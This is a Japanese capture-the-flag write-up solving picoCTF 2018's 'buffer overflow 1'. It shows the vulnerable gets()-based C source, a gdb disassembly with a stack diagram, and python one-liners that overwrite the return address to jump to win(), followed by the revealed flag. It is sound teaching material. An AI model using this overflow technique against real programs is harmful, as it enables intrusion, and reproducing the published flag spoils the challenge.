picoCTF 2018: buffer overflow 1

問題

問題文

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d on the shell server. Source.

Hints

This time you're actually going to have to control that return address!

Make sure you consider Big Endian vs Little Endian.

問題概要

脆弱性のあるプログラムとそのソースコードが与えられる.

解答例

指針

  • buffer overflow

解説

与えられたソースコードは以下の通り.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

win() は flag.txt を読み込み表示する関数. main() からは呼ばれていない.

main() から呼ばれている vuln() は文字列の入力に gets() 関数を使っていて, 明らかに buffer overflow の脆弱性がある.

以下は vuln を逆アセンブルした結果である.

kira924age@pico-2018-shell-2:/problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x804866b
Starting program: /problems/buffer-overflow-1_1_8a16ff6a1b3cfb2e42c08d9090051a5d/vuln

Temporary breakpoint 1, 0x0804866b in main ()
(gdb) set disassembly-flavor intel
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804862f <+0>:   push   ebp
   0x08048630 <+1>:   mov    ebp,esp
   0x08048632 <+3>:   sub    esp,0x28
   0x08048635 <+6>:   sub    esp,0xc
   0x08048638 <+9>:   lea    eax,[ebp-0x28]
   0x0804863b <+12>:  push   eax
   0x0804863c <+13>:  call   0x8048430 <gets@plt>
   0x08048641 <+18>:  add    esp,0x10
   0x08048644 <+21>:  call   0x80486c0 <get_return_address>
   0x08048649 <+26>:  sub    esp,0x8
   0x0804864c <+29>:  push   eax
   0x0804864d <+30>:  push   0x80487d4
   0x08048652 <+35>:  call   0x8048420 <printf@plt>
   0x08048657 <+40>:  add    esp,0x10
   0x0804865a <+43>:  nop
   0x0804865b <+44>:  leave
   0x0804865c <+45>:  ret
End of assembler dump.

Stack の状態を考えながら, 逆アセンブルコードを読んでいく.

   0x0804862f <+0>:    push   ebp
   0x08048630 <+1>:   mov    ebp,esp
   0x08048632 <+3>:   sub    esp,0x28
   0x08048635 <+6>:   sub    esp,0xc
   0x08048638 <+9>:   lea    eax,[ebp-0x28]
   0x0804863c <+13>:  call   0x8048430 <gets@plt>

が実行されたときの Call Stack の状態は

(lower address)

| ...          | <- ESP
| <0x0c bytes> |
| ...          |
| ...          | <- top of buf[]
| <0x28 bytes> |
| ...          |
| saved EBP    |
| return addr  |

(higher address)

となり, EAX に [ebp-0x28] の実効アドレスの値が格納される. その直後に gets() が呼ばれており, EAX が引数として使われるので, [ebp-0x28] の実効アドレスは vuln() 内の 変数 buf[] の先頭アドレスだと分かる.

[ebp-0x28] から [ebp-0x01] までの 0x28 Bytes と saved EBP の 4 bytes を足した 0x2c Bytes を A で埋めて, その直後に任意のアドレス値を置くと return address が書き換わり, vuln() をから抜ける際に任意の address に飛ばすことができる. 今回は win() のアドレスに飛ばすようにすればいい.

win() のアドレスは以下のように objdump を使って求めた.

$ objdump -d vuln | grep win
080485cb <win>:
 80485ed:       75 1a                   jne    8048609 <win+0x3e>

アドレス値が 080485cb と分かったので, 以下のようにして win() を実行させる.

Python3 では decode('utf-8') をして bytes型 を str に変換する必要があって若干面倒だった.

$ python2 -c "print 'A'*0x2c+'\xcb\x85\x04\x08'" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy14941911}Segmentation fault (core dumped)
$ python3 -c "print('A'*0x2c+(b'\xcb\x85\x04\x08').decode('utf-8'))" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy14941911}Segmentation fault (core dumped)

flag: picoCTF{addr3ss3s_ar3_3asy14941911}

参考文献

  • HACKING:美しき策謀